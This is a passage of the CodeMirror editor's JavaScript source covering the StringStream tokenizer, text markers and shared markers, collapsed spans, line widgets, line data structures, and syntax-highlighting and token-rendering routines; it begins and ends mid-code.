off(textarea.form, "submit", save); if (typeof textarea.form.submit == "function") textarea.form.submit = realSubmit; } }; return cm; }; // STRING STREAM // Fed to the mode parsers, provides helper functions to make // parsers more succinct. var StringStream = CodeMirror.StringStream = function(string, tabSize) { this.pos = this.start = 0; this.string = string; this.tabSize = tabSize || 8; this.lastColumnPos = this.lastColumnValue = 0; this.lineStart = 0; }; StringStream.prototype = { eol: function() {return this.pos >= this.string.length;}, sol: function() {return this.pos == this.lineStart;}, peek: function() {return this.string.charAt(this.pos) || undefined;}, next: function() { if (this.pos < this.string.length) return this.string.charAt(this.pos++); }, eat: function(match) { var ch = this.string.charAt(this.pos); if (typeof match == "string") var ok = ch == match; else var ok = ch && (match.test ? match.test(ch) : match(ch)); if (ok) {++this.pos; return ch;} }, eatWhile: function(match) { var start = this.pos; while (this.eat(match)){} return this.pos > start; }, eatSpace: function() { var start = this.pos; while (/[\s\u00a0]/.test(this.string.charAt(this.pos))) ++this.pos; return this.pos > start; }, skipToEnd: function() {this.pos = this.string.length;}, skipTo: function(ch) { var found = this.string.indexOf(ch, this.pos); if (found > -1) {this.pos = found; return true;} }, backUp: function(n) {this.pos -= n;}, column: function() { if (this.lastColumnPos < this.start) { this.lastColumnValue = countColumn(this.string, this.start, this.tabSize, this.lastColumnPos, this.lastColumnValue); this.lastColumnPos = this.start; } return this.lastColumnValue - (this.lineStart ? countColumn(this.string, this.lineStart, this.tabSize) : 0); }, indentation: function() { return countColumn(this.string, null, this.tabSize) - (this.lineStart ? countColumn(this.string, this.lineStart, this.tabSize) : 0); }, match: function(pattern, consume, caseInsensitive) { if (typeof pattern == "string") { var cased = function(str) {return caseInsensitive ? str.toLowerCase() : str;}; var substr = this.string.substr(this.pos, pattern.length); if (cased(substr) == cased(pattern)) { if (consume !== false) this.pos += pattern.length; return true; } } else { var match = this.string.slice(this.pos).match(pattern); if (match && match.index > 0) return null; if (match && consume !== false) this.pos += match[0].length; return match; } }, current: function(){return this.string.slice(this.start, this.pos);}, hideFirstChars: function(n, inner) { this.lineStart += n; try { return inner(); } finally { this.lineStart -= n; } } }; // TEXTMARKERS // Created with markText and setBookmark methods. A TextMarker is a // handle that can be used to clear or find a marked position in the // document. Line objects hold arrays (markedSpans) containing // {from, to, marker} object pointing to such marker objects, and // indicating that such a marker is present on that line. Multiple // lines may point to the same marker when it spans across lines. // The spans will have null for their from/to properties when the // marker continues beyond the start/end of the line. Markers have // links back to the lines they currently touch. var TextMarker = CodeMirror.TextMarker = function(doc, type) { this.lines = []; this.type = type; this.doc = doc; }; eventMixin(TextMarker); // Clear the marker. TextMarker.prototype.clear = function() { if (this.explicitlyCleared) return; var cm = this.doc.cm, withOp = cm && !cm.curOp; if (withOp) startOperation(cm); if (hasHandler(this, "clear")) { var found = this.find(); if (found) signalLater(this, "clear", found.from, found.to); } var min = null, max = null; for (var i = 0; i < this.lines.length; ++i) { var line = this.lines[i]; var span = getMarkedSpanFor(line.markedSpans, this); if (cm && !this.collapsed) regLineChange(cm, lineNo(line), "text"); else if (cm) { if (span.to != null) max = lineNo(line); if (span.from != null) min = lineNo(line); } line.markedSpans = removeMarkedSpan(line.markedSpans, span); if (span.from == null && this.collapsed && !lineIsHidden(this.doc, line) && cm) updateLineHeight(line, textHeight(cm.display)); } if (cm && this.collapsed && !cm.options.lineWrapping) for (var i = 0; i < this.lines.length; ++i) { var visual = visualLine(this.lines[i]), len = lineLength(visual); if (len > cm.display.maxLineLength) { cm.display.maxLine = visual; cm.display.maxLineLength = len; cm.display.maxLineChanged = true; } } if (min != null && cm && this.collapsed) regChange(cm, min, max + 1); this.lines.length = 0; this.explicitlyCleared = true; if (this.atomic && this.doc.cantEdit) { this.doc.cantEdit = false; if (cm) reCheckSelection(cm.doc); } if (cm) signalLater(cm, "markerCleared", cm, this); if (withOp) endOperation(cm); if (this.parent) this.parent.clear(); }; // Find the position of the marker in the document. Returns a {from, // to} object by default. Side can be passed to get a specific side // -- 0 (both), -1 (left), or 1 (right). When lineObj is true, the // Pos objects returned contain a line object, rather than a line // number (used to prevent looking up the same line twice). TextMarker.prototype.find = function(side, lineObj) { if (side == null && this.type == "bookmark") side = 1; var from, to; for (var i = 0; i < this.lines.length; ++i) { var line = this.lines[i]; var span = getMarkedSpanFor(line.markedSpans, this); if (span.from != null) { from = Pos(lineObj ? line : lineNo(line), span.from); if (side == -1) return from; } if (span.to != null) { to = Pos(lineObj ? line : lineNo(line), span.to); if (side == 1) return to; } } return from && {from: from, to: to}; }; // Signals that the marker's widget changed, and surrounding layout // should be recomputed. TextMarker.prototype.changed = function() { var pos = this.find(-1, true), widget = this, cm = this.doc.cm; if (!pos || !cm) return; runInOp(cm, function() { var line = pos.line, lineN = lineNo(pos.line); var view = findViewForLine(cm, lineN); if (view) { clearLineMeasurementCacheFor(view); cm.curOp.selectionChanged = cm.curOp.forceUpdate = true; } cm.curOp.updateMaxLine = true; if (!lineIsHidden(widget.doc, line) && widget.height != null) { var oldHeight = widget.height; widget.height = null; var dHeight = widgetHeight(widget) - oldHeight; if (dHeight) updateLineHeight(line, line.height + dHeight); } }); }; TextMarker.prototype.attachLine = function(line) { if (!this.lines.length && this.doc.cm) { var op = this.doc.cm.curOp; if (!op.maybeHiddenMarkers || indexOf(op.maybeHiddenMarkers, this) == -1) (op.maybeUnhiddenMarkers || (op.maybeUnhiddenMarkers = [])).push(this); } this.lines.push(line); }; TextMarker.prototype.detachLine = function(line) { this.lines.splice(indexOf(this.lines, line), 1); if (!this.lines.length && this.doc.cm) { var op = this.doc.cm.curOp; (op.maybeHiddenMarkers || (op.maybeHiddenMarkers = [])).push(this); } }; // Collapsed markers have unique ids, in order to be able to order // them, which is needed for uniquely determining an outer marker // when they overlap (they may nest, but not partially overlap). var nextMarkerId = 0; // Create a marker, wire it up to the right lines, and function markText(doc, from, to, options, type) { // Shared markers (across linked documents) are handled separately // (markTextShared will call out to this again, once per // document). if (options && options.shared) return markTextShared(doc, from, to, options, type); // Ensure we are in an operation. if (doc.cm && !doc.cm.curOp) return operation(doc.cm, markText)(doc, from, to, options, type); var marker = new TextMarker(doc, type), diff = cmp(from, to); if (options) copyObj(options, marker, false); // Don't connect empty markers unless clearWhenEmpty is false if (diff > 0 || diff == 0 && marker.clearWhenEmpty !== false) return marker; if (marker.replacedWith) { // Showing up as a widget implies collapsed (widget replaces text) marker.collapsed = true; marker.widgetNode = elt("span", [marker.replacedWith], "CodeMirror-widget"); if (!options.handleMouseEvents) marker.widgetNode.ignoreEvents = true; if (options.insertLeft) marker.widgetNode.insertLeft = true; } if (marker.collapsed) { if (conflictingCollapsedRange(doc, from.line, from, to, marker) || from.line != to.line && conflictingCollapsedRange(doc, to.line, from, to, marker)) throw new Error("Inserting collapsed marker partially overlapping an existing one"); sawCollapsedSpans = true; } if (marker.addToHistory) addChangeToHistory(doc, {from: from, to: to, origin: "markText"}, doc.sel, NaN); var curLine = from.line, cm = doc.cm, updateMaxLine; doc.iter(curLine, to.line + 1, function(line) { if (cm && marker.collapsed && !cm.options.lineWrapping && visualLine(line) == cm.display.maxLine) updateMaxLine = true; if (marker.collapsed && curLine != from.line) updateLineHeight(line, 0); addMarkedSpan(line, new MarkedSpan(marker, curLine == from.line ? from.ch : null, curLine == to.line ? to.ch : null)); ++curLine; }); // lineIsHidden depends on the presence of the spans, so needs a second pass if (marker.collapsed) doc.iter(from.line, to.line + 1, function(line) { if (lineIsHidden(doc, line)) updateLineHeight(line, 0); }); if (marker.clearOnEnter) on(marker, "beforeCursorEnter", function() { marker.clear(); }); if (marker.readOnly) { sawReadOnlySpans = true; if (doc.history.done.length || doc.history.undone.length) doc.clearHistory(); } if (marker.collapsed) { marker.id = ++nextMarkerId; marker.atomic = true; } if (cm) { // Sync editor state if (updateMaxLine) cm.curOp.updateMaxLine = true; if (marker.collapsed) regChange(cm, from.line, to.line + 1); else if (marker.className || marker.title || marker.startStyle || marker.endStyle) for (var i = from.line; i <= to.line; i++) regLineChange(cm, i, "text"); if (marker.atomic) reCheckSelection(cm.doc); signalLater(cm, "markerAdded", cm, marker); } return marker; } // SHARED TEXTMARKERS // A shared marker spans multiple linked documents. It is // implemented as a meta-marker-object controlling multiple normal // markers. var SharedTextMarker = CodeMirror.SharedTextMarker = function(markers, primary) { this.markers = markers; this.primary = primary; for (var i = 0; i < markers.length; ++i) markers[i].parent = this; }; eventMixin(SharedTextMarker); SharedTextMarker.prototype.clear = function() { if (this.explicitlyCleared) return; this.explicitlyCleared = true; for (var i = 0; i < this.markers.length; ++i) this.markers[i].clear(); signalLater(this, "clear"); }; SharedTextMarker.prototype.find = function(side, lineObj) { return this.primary.find(side, lineObj); }; function markTextShared(doc, from, to, options, type) { options = copyObj(options); options.shared = false; var markers = [markText(doc, from, to, options, type)], primary = markers[0]; var widget = options.widgetNode; linkedDocs(doc, function(doc) { if (widget) options.widgetNode = widget.cloneNode(true); markers.push(markText(doc, clipPos(doc, from), clipPos(doc, to), options, type)); for (var i = 0; i < doc.linked.length; ++i) if (doc.linked[i].isParent) return; primary = lst(markers); }); return new SharedTextMarker(markers, primary); } function findSharedMarkers(doc) { return doc.findMarks(Pos(doc.first, 0), doc.clipPos(Pos(doc.lastLine())), function(m) { return m.parent; }); } function copySharedMarkers(doc, markers) { for (var i = 0; i < markers.length; i++) { var marker = markers[i], pos = marker.find(); var mFrom = doc.clipPos(pos.from), mTo = doc.clipPos(pos.to); if (cmp(mFrom, mTo)) { var subMark = markText(doc, mFrom, mTo, marker.primary, marker.primary.type); marker.markers.push(subMark); subMark.parent = marker; } } } function detachSharedMarkers(markers) { for (var i = 0; i < markers.length; i++) { var marker = markers[i], linked = [marker.primary.doc];; linkedDocs(marker.primary.doc, function(d) { linked.push(d); }); for (var j = 0; j < marker.markers.length; j++) { var subMarker = marker.markers[j]; if (indexOf(linked, subMarker.doc) == -1) { subMarker.parent = null; marker.markers.splice(j--, 1); } } } } // TEXTMARKER SPANS function MarkedSpan(marker, from, to) { this.marker = marker; this.from = from; this.to = to; } // Search an array of spans for a span matching the given marker. function getMarkedSpanFor(spans, marker) { if (spans) for (var i = 0; i < spans.length; ++i) { var span = spans[i]; if (span.marker == marker) return span; } } // Remove a span from an array, returning undefined if no spans are // left (we don't store arrays for lines without spans). function removeMarkedSpan(spans, span) { for (var r, i = 0; i < spans.length; ++i) if (spans[i] != span) (r || (r = [])).push(spans[i]); return r; } // Add a span to a line. function addMarkedSpan(line, span) { line.markedSpans = line.markedSpans ? line.markedSpans.concat([span]) : [span]; span.marker.attachLine(line); } // Used for the algorithm that adjusts markers for a change in the // document. These functions cut an array of spans at a given // character position, returning an array of remaining chunks (or // undefined if nothing remains). function markedSpansBefore(old, startCh, isInsert) { if (old) for (var i = 0, nw; i < old.length; ++i) { var span = old[i], marker = span.marker; var startsBefore = span.from == null || (marker.inclusiveLeft ? span.from <= startCh : span.from < startCh); if (startsBefore || span.from == startCh && marker.type == "bookmark" && (!isInsert || !span.marker.insertLeft)) { var endsAfter = span.to == null || (marker.inclusiveRight ? span.to >= startCh : span.to > startCh); (nw || (nw = [])).push(new MarkedSpan(marker, span.from, endsAfter ? null : span.to)); } } return nw; } function markedSpansAfter(old, endCh, isInsert) { if (old) for (var i = 0, nw; i < old.length; ++i) { var span = old[i], marker = span.marker; var endsAfter = span.to == null || (marker.inclusiveRight ? span.to >= endCh : span.to > endCh); if (endsAfter || span.from == endCh && marker.type == "bookmark" && (!isInsert || span.marker.insertLeft)) { var startsBefore = span.from == null || (marker.inclusiveLeft ? span.from <= endCh : span.from < endCh); (nw || (nw = [])).push(new MarkedSpan(marker, startsBefore ? null : span.from - endCh, span.to == null ? null : span.to - endCh)); } } return nw; } // Given a change object, compute the new set of marker spans that // cover the line in which the change took place. Removes spans // entirely within the change, reconnects spans belonging to the // same marker that appear on both sides of the change, and cuts off // spans partially within the change. Returns an array of span // arrays with one element for each line in (after) the change. function stretchSpansOverChange(doc, change) { var oldFirst = isLine(doc, change.from.line) && getLine(doc, change.from.line).markedSpans; var oldLast = isLine(doc, change.to.line) && getLine(doc, change.to.line).markedSpans; if (!oldFirst && !oldLast) return null; var startCh = change.from.ch, endCh = change.to.ch, isInsert = cmp(change.from, change.to) == 0; // Get the spans that 'stick out' on both sides var first = markedSpansBefore(oldFirst, startCh, isInsert); var last = markedSpansAfter(oldLast, endCh, isInsert); // Next, merge those two ends var sameLine = change.text.length == 1, offset = lst(change.text).length + (sameLine ? startCh : 0); if (first) { // Fix up .to properties of first for (var i = 0; i < first.length; ++i) { var span = first[i]; if (span.to == null) { var found = getMarkedSpanFor(last, span.marker); if (!found) span.to = startCh; else if (sameLine) span.to = found.to == null ? null : found.to + offset; } } } if (last) { // Fix up .from in last (or move them into first in case of sameLine) for (var i = 0; i < last.length; ++i) { var span = last[i]; if (span.to != null) span.to += offset; if (span.from == null) { var found = getMarkedSpanFor(first, span.marker); if (!found) { span.from = offset; if (sameLine) (first || (first = [])).push(span); } } else { span.from += offset; if (sameLine) (first || (first = [])).push(span); } } } // Make sure we didn't create any zero-length spans if (first) first = clearEmptySpans(first); if (last && last != first) last = clearEmptySpans(last); var newMarkers = [first]; if (!sameLine) { // Fill gap with whole-line-spans var gap = change.text.length - 2, gapMarkers; if (gap > 0 && first) for (var i = 0; i < first.length; ++i) if (first[i].to == null) (gapMarkers || (gapMarkers = [])).push(new MarkedSpan(first[i].marker, null, null)); for (var i = 0; i < gap; ++i) newMarkers.push(gapMarkers); newMarkers.push(last); } return newMarkers; } // Remove spans that are empty and don't have a clearWhenEmpty // option of false. function clearEmptySpans(spans) { for (var i = 0; i < spans.length; ++i) { var span = spans[i]; if (span.from != null && span.from == span.to && span.marker.clearWhenEmpty !== false) spans.splice(i--, 1); } if (!spans.length) return null; return spans; } // Used for un/re-doing changes from the history. Combines the // result of computing the existing spans with the set of spans that // existed in the history (so that deleting around a span and then // undoing brings back the span). function mergeOldSpans(doc, change) { var old = getOldSpans(doc, change); var stretched = stretchSpansOverChange(doc, change); if (!old) return stretched; if (!stretched) return old; for (var i = 0; i < old.length; ++i) { var oldCur = old[i], stretchCur = stretched[i]; if (oldCur && stretchCur) { spans: for (var j = 0; j < stretchCur.length; ++j) { var span = stretchCur[j]; for (var k = 0; k < oldCur.length; ++k) if (oldCur[k].marker == span.marker) continue spans; oldCur.push(span); } } else if (stretchCur) { old[i] = stretchCur; } } return old; } // Used to 'clip' out readOnly ranges when making a change. function removeReadOnlyRanges(doc, from, to) { var markers = null; doc.iter(from.line, to.line + 1, function(line) { if (line.markedSpans) for (var i = 0; i < line.markedSpans.length; ++i) { var mark = line.markedSpans[i].marker; if (mark.readOnly && (!markers || indexOf(markers, mark) == -1)) (markers || (markers = [])).push(mark); } }); if (!markers) return null; var parts = [{from: from, to: to}]; for (var i = 0; i < markers.length; ++i) { var mk = markers[i], m = mk.find(0); for (var j = 0; j < parts.length; ++j) { var p = parts[j]; if (cmp(p.to, m.from) < 0 || cmp(p.from, m.to) > 0) continue; var newParts = [j, 1], dfrom = cmp(p.from, m.from), dto = cmp(p.to, m.to); if (dfrom < 0 || !mk.inclusiveLeft && !dfrom) newParts.push({from: p.from, to: m.from}); if (dto > 0 || !mk.inclusiveRight && !dto) newParts.push({from: m.to, to: p.to}); parts.splice.apply(parts, newParts); j += newParts.length - 1; } } return parts; } // Connect or disconnect spans from a line. function detachMarkedSpans(line) { var spans = line.markedSpans; if (!spans) return; for (var i = 0; i < spans.length; ++i) spans[i].marker.detachLine(line); line.markedSpans = null; } function attachMarkedSpans(line, spans) { if (!spans) return; for (var i = 0; i < spans.length; ++i) spans[i].marker.attachLine(line); line.markedSpans = spans; } // Helpers used when computing which overlapping collapsed span // counts as the larger one. function extraLeft(marker) { return marker.inclusiveLeft ? -1 : 0; } function extraRight(marker) { return marker.inclusiveRight ? 1 : 0; } // Returns a number indicating which of two overlapping collapsed // spans is larger (and thus includes the other). Falls back to // comparing ids when the spans cover exactly the same range. function compareCollapsedMarkers(a, b) { var lenDiff = a.lines.length - b.lines.length; if (lenDiff != 0) return lenDiff; var aPos = a.find(), bPos = b.find(); var fromCmp = cmp(aPos.from, bPos.from) || extraLeft(a) - extraLeft(b); if (fromCmp) return -fromCmp; var toCmp = cmp(aPos.to, bPos.to) || extraRight(a) - extraRight(b); if (toCmp) return toCmp; return b.id - a.id; } // Find out whether a line ends or starts in a collapsed span. If // so, return the marker for that span. function collapsedSpanAtSide(line, start) { var sps = sawCollapsedSpans && line.markedSpans, found; if (sps) for (var sp, i = 0; i < sps.length; ++i) { sp = sps[i]; if (sp.marker.collapsed && (start ? sp.from : sp.to) == null && (!found || compareCollapsedMarkers(found, sp.marker) < 0)) found = sp.marker; } return found; } function collapsedSpanAtStart(line) { return collapsedSpanAtSide(line, true); } function collapsedSpanAtEnd(line) { return collapsedSpanAtSide(line, false); } // Test whether there exists a collapsed span that partially // overlaps (covers the start or end, but not both) of a new span. // Such overlap is not allowed. function conflictingCollapsedRange(doc, lineNo, from, to, marker) { var line = getLine(doc, lineNo); var sps = sawCollapsedSpans && line.markedSpans; if (sps) for (var i = 0; i < sps.length; ++i) { var sp = sps[i]; if (!sp.marker.collapsed) continue; var found = sp.marker.find(0); var fromCmp = cmp(found.from, from) || extraLeft(sp.marker) - extraLeft(marker); var toCmp = cmp(found.to, to) || extraRight(sp.marker) - extraRight(marker); if (fromCmp >= 0 && toCmp <= 0 || fromCmp <= 0 && toCmp >= 0) continue; if (fromCmp <= 0 && (cmp(found.to, from) > 0 || (sp.marker.inclusiveRight && marker.inclusiveLeft)) || fromCmp >= 0 && (cmp(found.from, to) < 0 || (sp.marker.inclusiveLeft && marker.inclusiveRight))) return true; } } // A visual line is a line as drawn on the screen. Folding, for // example, can cause multiple logical lines to appear on the same // visual line. This finds the start of the visual line that the // given line is part of (usually that is the line itself). function visualLine(line) { var merged; while (merged = collapsedSpanAtStart(line)) line = merged.find(-1, true).line; return line; } // Returns an array of logical lines that continue the visual line // started by the argument, or undefined if there are no such lines. function visualLineContinued(line) { var merged, lines; while (merged = collapsedSpanAtEnd(line)) { line = merged.find(1, true).line; (lines || (lines = [])).push(line); } return lines; } // Get the line number of the start of the visual line that the // given line number is part of. function visualLineNo(doc, lineN) { var line = getLine(doc, lineN), vis = visualLine(line); if (line == vis) return lineN; return lineNo(vis); } // Get the line number of the start of the next visual line after // the given line. function visualLineEndNo(doc, lineN) { if (lineN > doc.lastLine()) return lineN; var line = getLine(doc, lineN), merged; if (!lineIsHidden(doc, line)) return lineN; while (merged = collapsedSpanAtEnd(line)) line = merged.find(1, true).line; return lineNo(line) + 1; } // Compute whether a line is hidden. Lines count as hidden when they // are part of a visual line that starts with another line, or when // they are entirely covered by collapsed, non-widget span. function lineIsHidden(doc, line) { var sps = sawCollapsedSpans && line.markedSpans; if (sps) for (var sp, i = 0; i < sps.length; ++i) { sp = sps[i]; if (!sp.marker.collapsed) continue; if (sp.from == null) return true; if (sp.marker.widgetNode) continue; if (sp.from == 0 && sp.marker.inclusiveLeft && lineIsHiddenInner(doc, line, sp)) return true; } } function lineIsHiddenInner(doc, line, span) { if (span.to == null) { var end = span.marker.find(1, true); return lineIsHiddenInner(doc, end.line, getMarkedSpanFor(end.line.markedSpans, span.marker)); } if (span.marker.inclusiveRight && span.to == line.text.length) return true; for (var sp, i = 0; i < line.markedSpans.length; ++i) { sp = line.markedSpans[i]; if (sp.marker.collapsed && !sp.marker.widgetNode && sp.from == span.to && (sp.to == null || sp.to != span.from) && (sp.marker.inclusiveLeft || span.marker.inclusiveRight) && lineIsHiddenInner(doc, line, sp)) return true; } } // LINE WIDGETS // Line widgets are block elements displayed above or below a line. var LineWidget = CodeMirror.LineWidget = function(cm, node, options) { if (options) for (var opt in options) if (options.hasOwnProperty(opt)) this[opt] = options[opt]; this.cm = cm; this.node = node; }; eventMixin(LineWidget); function adjustScrollWhenAboveVisible(cm, line, diff) { if (heightAtLine(line) < ((cm.curOp && cm.curOp.scrollTop) || cm.doc.scrollTop)) addToScrollPos(cm, null, diff); } LineWidget.prototype.clear = function() { var cm = this.cm, ws = this.line.widgets, line = this.line, no = lineNo(line); if (no == null || !ws) return; for (var i = 0; i < ws.length; ++i) if (ws[i] == this) ws.splice(i--, 1); if (!ws.length) line.widgets = null; var height = widgetHeight(this); runInOp(cm, function() { adjustScrollWhenAboveVisible(cm, line, -height); regLineChange(cm, no, "widget"); updateLineHeight(line, Math.max(0, line.height - height)); }); }; LineWidget.prototype.changed = function() { var oldH = this.height, cm = this.cm, line = this.line; this.height = null; var diff = widgetHeight(this) - oldH; if (!diff) return; runInOp(cm, function() { cm.curOp.forceUpdate = true; adjustScrollWhenAboveVisible(cm, line, diff); updateLineHeight(line, line.height + diff); }); }; function widgetHeight(widget) { if (widget.height != null) return widget.height; if (!contains(document.body, widget.node)) { var parentStyle = "position: relative;"; if (widget.coverGutter) parentStyle += "margin-left: -" + widget.cm.getGutterElement().offsetWidth + "px;"; removeChildrenAndAdd(widget.cm.display.measure, elt("div", [widget.node], null, parentStyle)); } return widget.height = widget.node.offsetHeight; } function addLineWidget(cm, handle, node, options) { var widget = new LineWidget(cm, node, options); if (widget.noHScroll) cm.display.alignWidgets = true; changeLine(cm.doc, handle, "widget", function(line) { var widgets = line.widgets || (line.widgets = []); if (widget.insertAt == null) widgets.push(widget); else widgets.splice(Math.min(widgets.length - 1, Math.max(0, widget.insertAt)), 0, widget); widget.line = line; if (!lineIsHidden(cm.doc, line)) { var aboveVisible = heightAtLine(line) < cm.doc.scrollTop; updateLineHeight(line, line.height + widgetHeight(widget)); if (aboveVisible) addToScrollPos(cm, null, widget.height); cm.curOp.forceUpdate = true; } return true; }); return widget; } // LINE DATA STRUCTURE // Line objects. These hold state related to a line, including // highlighting info (the styles array). var Line = CodeMirror.Line = function(text, markedSpans, estimateHeight) { this.text = text; attachMarkedSpans(this, markedSpans); this.height = estimateHeight ? estimateHeight(this) : 1; }; eventMixin(Line); Line.prototype.lineNo = function() { return lineNo(this); }; // Change the content (text, markers) of a line. Automatically // invalidates cached information and tries to re-estimate the // line's height. function updateLine(line, text, markedSpans, estimateHeight) { line.text = text; if (line.stateAfter) line.stateAfter = null; if (line.styles) line.styles = null; if (line.order != null) line.order = null; detachMarkedSpans(line); attachMarkedSpans(line, markedSpans); var estHeight = estimateHeight ? estimateHeight(line) : 1; if (estHeight != line.height) updateLineHeight(line, estHeight); } // Detach a line from the document tree and its markers. function cleanUpLine(line) { line.parent = null; detachMarkedSpans(line); } function extractLineClasses(type, output) { if (type) for (;;) { var lineClass = type.match(/(?:^|\s+)line-(background-)?(\S+)/); if (!lineClass) break; type = type.slice(0, lineClass.index) + type.slice(lineClass.index + lineClass[0].length); var prop = lineClass[1] ? "bgClass" : "textClass"; if (output[prop] == null) output[prop] = lineClass[2]; else if (!(new RegExp("(?:^|\s)" + lineClass[2] + "(?:$|\s)")).test(output[prop])) output[prop] += " " + lineClass[2]; } return type; } function callBlankLine(mode, state) { if (mode.blankLine) return mode.blankLine(state); if (!mode.innerMode) return; var inner = CodeMirror.innerMode(mode, state); if (inner.mode.blankLine) return inner.mode.blankLine(inner.state); } function readToken(mode, stream, state) { for (var i = 0; i < 10; i++) { var style = mode.token(stream, state); if (stream.pos > stream.start) return style; } throw new Error("Mode " + mode.name + " failed to advance stream."); } // Run the given mode's parser over a line, calling f for each token. function runMode(cm, text, mode, state, f, lineClasses, forceToEnd) { var flattenSpans = mode.flattenSpans; if (flattenSpans == null) flattenSpans = cm.options.flattenSpans; var curStart = 0, curStyle = null; var stream = new StringStream(text, cm.options.tabSize), style; if (text == "") extractLineClasses(callBlankLine(mode, state), lineClasses); while (!stream.eol()) { if (stream.pos > cm.options.maxHighlightLength) { flattenSpans = false; if (forceToEnd) processLine(cm, text, state, stream.pos); stream.pos = text.length; style = null; } else { style = extractLineClasses(readToken(mode, stream, state), lineClasses); } if (cm.options.addModeClass) { var mName = CodeMirror.innerMode(mode, state).mode.name; if (mName) style = "m-" + (style ? mName + " " + style : mName); } if (!flattenSpans || curStyle != style) { if (curStart < stream.start) f(stream.start, curStyle); curStart = stream.start; curStyle = style; } stream.start = stream.pos; } while (curStart < stream.pos) { // Webkit seems to refuse to render text nodes longer than 57444 characters var pos = Math.min(stream.pos, curStart + 50000); f(pos, curStyle); curStart = pos; } } // Compute a style array (an array starting with a mode generation // -- for invalidation -- followed by pairs of end positions and // style strings), which is used to highlight the tokens on the // line. function highlightLine(cm, line, state, forceToEnd) { // A styles array always starts with a number identifying the // mode/overlays that it is based on (for easy invalidation). var st = [cm.state.modeGen], lineClasses = {}; // Compute the base array of styles runMode(cm, line.text, cm.doc.mode, state, function(end, style) { st.push(end, style); }, lineClasses, forceToEnd); // Run overlays, adjust style array. for (var o = 0; o < cm.state.overlays.length; ++o) { var overlay = cm.state.overlays[o], i = 1, at = 0; runMode(cm, line.text, overlay.mode, true, function(end, style) { var start = i; // Ensure there's a token end at the current position, and that i points at it while (at < end) { var i_end = st[i]; if (i_end > end) st.splice(i, 1, end, st[i+1], i_end); i += 2; at = Math.min(end, i_end); } if (!style) return; if (overlay.opaque) { st.splice(start, i - start, end, "cm-overlay " + style); i = start + 2; } else { for (; start < i; start += 2) { var cur = st[start+1]; st[start+1] = (cur ? cur + " " : "") + "cm-overlay " + style; } } }, lineClasses); } return {styles: st, classes: lineClasses.bgClass || lineClasses.textClass ? lineClasses : null}; } function getLineStyles(cm, line) { if (!line.styles || line.styles[0] != cm.state.modeGen) { var result = highlightLine(cm, line, line.stateAfter = getStateBefore(cm, lineNo(line))); line.styles = result.styles; if (result.classes) line.styleClasses = result.classes; else if (line.styleClasses) line.styleClasses = null; } return line.styles; } // Lightweight form of highlight -- proceed over this line and // update state, but don't save a style array. Used for lines that // aren't currently visible. function processLine(cm, text, state, startAt) { var mode = cm.doc.mode; var stream = new StringStream(text, cm.options.tabSize); stream.start = stream.pos = startAt || 0; if (text == "") callBlankLine(mode, state); while (!stream.eol() && stream.pos <= cm.options.maxHighlightLength) { readToken(mode, stream, state); stream.start = stream.pos; } } // Convert a style as returned by a mode (either null, or a string // containing one or more styles) to a CSS style. This is cached, // and also looks for line-wide styles. var styleToClassCache = {}, styleToClassCacheWithMode = {}; function interpretTokenStyle(style, options) { if (!style || /^\s*$/.test(style)) return null; var cache = options.addModeClass ? styleToClassCacheWithMode : styleToClassCache; return cache[style] || (cache[style] = style.replace(/\S+/g, "cm-$&")); } // Render the DOM representation of the text of a line. Also builds // up a 'line map', which points at the DOM nodes that represent // specific stretches of text, and is used by the measuring code. // The returned object contains the DOM node, this map, and // information about line-wide styles that were set by the mode. function buildLineContent(cm, lineView) { // The padding-right forces the element to have a 'border', which // is needed on Webkit to be able to get line-level bounding // rectangles for it (in measureChar). var content = elt("span", null, null, webkit ? "padding-right: .1px" : null); var builder = {pre: elt("pre", [content]), content: content, col: 0, pos: 0, cm: cm}; lineView.measure = {}; // Iterate over the logical lines that make up this visual line. for (var i = 0; i <= (lineView.rest ? lineView.rest.length : 0); i++) { var line = i ? lineView.rest[i - 1] : lineView.line, order; builder.pos = 0; builder.addToken = buildToken; // Optionally wire in some hacks into the token-rendering // algorithm, to deal with browser quirks. if ((ie || webkit) && cm.getOption("lineWrapping")) builder.addToken = buildTokenSplitSpaces(builder.addToken); if (hasBadBidiRects(cm.display.measure) && (order = getOrder(line))) builder.addToken = buildTokenBadBidi(builder.addToken, order); builder.map = []; insertLineContent(line, builder, getLineStyles(cm, line)); if (line.styleClasses) { if (line.styleClasses.bgClass) builder.bgClass = joinClasses(line.styleClasses.bgClass, builder.bgClass || ""); if (line.styleClasses.textClass) builder.textClass = joinClasses(line.styleClasses.textClass, builder.textClass || ""); } // Ensure at least a single node is present, for measuring. if (builder.map.length == 0) builder.map.push(0, 0, builder.content.appendChild(zeroWidthElement(cm.display.measure))); // Store the map and a cache object for the current logical line if (i == 0) { lineView.measure.map = builder.map; lineView.measure.cache = {}; } else { (lineView.measure.maps || (lineView.measure.maps = [])).push(builder.map); (lineView.measure.caches || (lineView.measure.caches = [])).push({}); } } signal(cm, "renderLine", cm, lineView.line, builder.pre); if (builder.pre.className) builder.textClass = joinClasses(builder.pre.className, builder.textClass || ""); return builder; } function defaultSpecialCharPlaceholder(ch) { var token = elt("span", "\u2022", "cm-invalidchar"); token.title = "\\u" + ch.charCodeAt(0).toString(16); return token; } // Build up the DOM representation for a single token, and add it to // the line map. Takes care to render special characters separately. function buildToken(builder, text, style, startStyle, endStyle, title) { if (!text) return; var special = builder.cm.options.specialChars, mustWrap = false; if (!special.test(text)) { builder.col += text.length; var content = document.createTextNode(text); builder.map.push(builder.pos, builder.pos + text.length, content); if (ie && ie_version < 9) mustWrap = true; builder.pos += text.length; } else { var content = document.createDocumentFragment(), pos = 0; while (true) { special.lastIndex = pos; var m = special.exec(text); var skipped = m ? m.index - pos : text.length - pos; if (skipped) { var txt = document.createTextNode(text.slice(pos, pos + skipped)); if (ie && ie_version < 9) content.appendChild(elt("span", [txt])); else content.appendChild(txt); builder.map.push(builder.pos, builder.pos + skipped, txt); builder.col += skipped; builder.pos += skipped; } if (!m) break; pos += skipped + 1; if (m[0] == "\t") { var tabSize = builder.cm.options.tabSize, tabWidth = tabSize - builder.col % tabSize; var txt = content.appendChild(elt("span", spaceStr(tabWidth), "cm-tab")); builder.col += tabWidth; } else { var txt = builder.cm.options.specialCharPlaceholder(m[0]); if (ie && ie_version < 9) content.appendChild(elt("span", [txt])); else content.appendChild(txt); builder.col += 1; } builder.map.push(builder.pos, builder.pos + 1, txt); builder.pos++; } } if (style || startStyle || endStyle || mustWrap) { var fullStyle = style || ""; if (startStyle) fullStyle += startStyle; if (endStyle) fullStyle += endStyle; var token = elt("span", [content], 